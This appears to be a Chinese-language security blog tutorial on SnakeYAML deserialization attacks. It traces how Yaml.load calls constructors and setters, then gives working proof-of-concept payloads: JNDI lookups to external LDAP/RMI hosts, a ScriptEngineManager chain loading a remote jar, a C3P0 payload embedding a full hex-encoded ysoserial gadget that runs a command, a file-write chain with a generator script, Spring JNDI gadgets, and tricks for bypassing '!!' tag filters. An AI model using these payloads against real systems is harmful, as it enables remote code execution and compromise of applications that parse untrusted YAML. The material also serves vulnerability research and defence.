前言
一些基础知识前面已经讲的很多了,这里就不讲了,主要是讲一讲原理和利用的总结
Yaml反序列化过程
准备
加入依赖
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
- Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
- Yaml.dump():将一个对象转化为yaml文件形式;
Test
import org.yaml.snakeyaml.Yaml;
public class Test1 {
public static void main(String[] args) {
// Serialize();
Deserialize();
}
public static void Serialize(){
User user = new User();
user.setName("ljl");
user.setAge(18);
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
public static void Deserialize(){
String s = "!!User {age: 18, name: ljl}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}
User
public class User {
String name;
int age;
public User() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public int getAge() {
System.out.println("User.getAge");
return age;
}
public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}
可以看到在反序列化过程中调用了对象的set和构造方法,这个set方法是因为我自己set的
调试分析
加入load方法
public <T> T load(String yaml) {
return (T) loadFromReader(new StreamReader(yaml), Object.class);
}
进入loadFromReader方法
private Object loadFromReader(StreamReader sreader, Class<?> type) {
Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
constructor.setComposer(composer);
return constructor.getSingleData(type);
}
前面两个方法不重要,就是封装一个Composer对象来处理我们的数据,主要逻辑部分是在getSingleData方法
获取我们的node,其实就是把我们的数据解析为node形式
node是在封装成Composer对象会有一步new ParserImpl的操作 会把!!变成tagxx一类的标识
<org.yaml.snakeyaml.nodes.MappingNode (tag=tag:yaml.org,2002:User, values={ key=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=age)>; value=<NodeTuple keyNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=age)>; valueNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:int, value=18)>> }{ key=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=name)>; value=<NodeTuple keyNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=name)>; valueNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=ljl)>> })>
我们主要跟进我们数据传入的地方
到 return constructDocument(node)--->constructObject(node)---constructObjectNoCheck(node)
获取构造器进入constructor.construct(node);方法
Object obj = Constructor.this.newInstance(mnode);
’
这里会调用类的构造方法
然后与在它的return constructJavaBean2ndStep(mnode, obj);方法里面又处理我们的数据
大概的逻辑就是从node里面先获取我们的key,获取了之后又去获取nodevalue,然后使用property获取value的type,然后调用
property.set(object, value);
property.getWriteMethod().invoke(object, value);
然后会调用打我们传入类的setter方法
为我们的字段设置值,然后返回我们的反序列化后的对象
综合来看就是会调用类的setter和构造方法
Yaml漏洞
经过上面的分析,我们知道了漏洞触发点就是在于调用我们指定类的setter和构造方法
JdbcRowSetImpl出网利用
import org.yaml.snakeyaml.Yaml;
public class PocTest1 {
public static void main(String[] args) {
String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://f80226cf33.ipv6.1433.eu.org/evil, autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
这个就不讲了
ScriptEngineManager链
SPI机制
ScriptEngineManager的实例化过程分析,其实最终造成代码执行还涉及到一个概念:SPI机制。ScriptEngineManager底层用到的也是SPI机制
SPI(Service Provider Interface),JDK内置的一种服务提供发现机制。它的利用方式是通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类。
ScriptEngineManager gadget就是用到SPI机制,会通过远程地址寻找META-INF/services目录下的javax.script.ScriptEngineFactory然后去加载文件中指定的PoC类从而触发远程代码执行。
POC
import org.yaml.snakeyaml.Yaml;
public class script {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
github有个写好的SPI
我们下载下来然后编译为jar包放在我们的端口上,注意jar包只需要我们的关键部分
然后还需要你修改一下里面执行的命令就好了
一定要使用一致的java版本进行编译和实际攻击运行
分析
我们直接从它的构造方法开始分析,因为我们知道,它的反序列化是会触发我们的构造方法的
public ScriptEngineManager(ClassLoader loader) {
init(loader);
}
进入init方法
private void init(final ClassLoader loader) {
globalScope = new SimpleBindings();
engineSpis = new HashSet<ScriptEngineFactory>();
nameAssociations = new HashMap<String, ScriptEngineFactory>();
extensionAssociations = new HashMap<String, ScriptEngineFactory>();
mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
initEngines(loader);
}
初始化的给一些量赋值,然后进入initEngines(loader);
nextService:364, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
到我们的这里nextService
看到这里会先class获取我们的类名,然后去实例化
第一次实例化的是NashornScriptEngineFactory类,之后第二次会去实例化我们远程jar中的PoC类,从而触发静态代码块/无参构造方法的执行来达到任意代码执行的目的
C3P0不出网利用
分析
我们知道它是有一条链WrapperConnectionPoolDataSource的hex字节码加载的,类似于二次反序列化,它的利用链如下
WrapperConnectionPoolDataSourceBase.setUserOverridesAsString---VetoableChangeSupport.fireVetoableChange--- WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange---C3P0ImplUtils.parseUserOverridesAsString---SerializableUtils.fromByteArray---SerializableUtils.deserializeFromByteArray---readObject
中间我们不用管,只需要知道调用WrapperConnectionPoolDataSourceBase.setUserOverridesAsString就会触发hex字节码的反序列化
POC
首先使用我们的工具或者在自己的本地去生成序列化的数据
➜ java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/calc.ser
读取文件内容并Hex编码
public class HexEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/tmp/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
然后最后的POC如下
import org.yaml.snakeyaml.Yaml;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class C3P0_yaml {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// InputStream in = new FileInputStream("cc6.bin");
// byte[] data = toByteArray(in);
// in.close();
// String HexString = bytesToHexString(data, data.length);
// System.out.println(HexString);
String HexString = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878";
Yaml yaml = new Yaml();
String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
yaml.load(str);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
当然也有c3P0出网的利用,但是没价值
import org.yaml.snakeyaml.Yaml;
public class Snakewithjndi {
public static void main(String[] args) throws Exception {
String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: rmi://127.0.0.1:1099/EXP\n" +
"loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(str);
}
}
利用fastjson1.2.68写文件思路
在fastjson1.2.68当中,存在一个任意文件写入的反序列化漏洞
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'dst',
'append':false
},
'infl':
{
'input':'你的内容的base64编码'
},
'bufLen':1048576
},
'protocolVersion':1
}
我们改写为yaml的格式
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater { input: !!binary base64str },1048576]]
Destpath是目的路径,base64str为经过zlib压缩过后的文件内容
一定要zlib压缩
cat yaml-payload.jar | openssl zlib | base64 -w 0
当然可以直接使用一个好用的生成poc的java脚本
import org.yaml.snakeyaml.Yaml;
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;
public class SnakeYamlOffInternet {
public static void main(String [] args) throws Exception {
String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar");
Yaml yaml = new Yaml();
yaml.load(poc);
}
public static String createPoC(String SrcPath,String Destpath) throws Exception {
File file = new File(SrcPath);
Long FileLength = file.length();
byte[] FileContent = new byte[FileLength.intValue()];
try{
FileInputStream in = new FileInputStream(file);
in.read(FileContent);
in.close();
}
catch (FileNotFoundException e){
e.printStackTrace();
}
byte[] compressbytes = compress(FileContent);
String base64str = Base64.getEncoder().encodeToString(compressbytes);
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater { input: !!binary "+base64str+" },1048576]]";
System.out.println(poc);
return poc;
}
public static byte[] compress(byte[] data) {
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
return output;
}
}
Spring PropertyPathFactoryBean
这个类我不太熟悉,但是这种只需要了解就好了,对这个类有印象
需要在目标环境存在springframework相关的jar包,以我本地环境为例:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE。
分析
lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
PropertyPathFactoryBean类的beanFactory属性可以设置一个远程的Factory,类似于JNDI注入的原理,当SnakeYaml反序列化的时候会调用到该属性的setter方法,通过JNDI注入漏洞成功实现反序列化漏洞的利用。
POC
public class Test {
public static void main(String[] args){
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
" propertyPath: mi1k7ea\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Exploit\"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
Spring DefaultBeanFactoryPointcutAdvisor
需要在目标环境存在springframework相关的jar包,以我本地环境为例:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE,spring-aop-4.3.7.RELEASE。
!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]
Xbean
一些绕过技巧
绕过!!
因为我们的poc基本上都是类似于
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]
类前面都需要加!!
但是这并不是造成我们反序列化的原因,这个只是反序列化的时候的一中tag,就相当于 fastjson 里的 @type
我们按照fastjson的思路先16进制,Unicode来进行尝试,但是不行,虽然把我们的内部的unicode处理完成,但是是当作普通的字符串处理
yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
所以 !!javax.script.ScriptEngineManager 的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager
它除了 !! 以为还有另外几种 TAG 的表示方式。
第一种是用!<tag>来表示,只需要一个感叹号,尖括号里就是 TAG。</tag>
前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:
所以要想反序列化恶意类就需要这样构造
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
"[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
" [\"http://b1ue.cn/\"]]]]
再来看第二种,需要在 yaml 中用%TAG声明一个 TAG
例如我声明 ! 的tag是 tag:yaml.org,2002:
%TAG ! tag:yaml.org,2002:
后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str。
最终我构造的反序列化攻击payload如下
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
https://www.cnblogs.com/LittleHann/p/17828948.html#_label3_2_1_2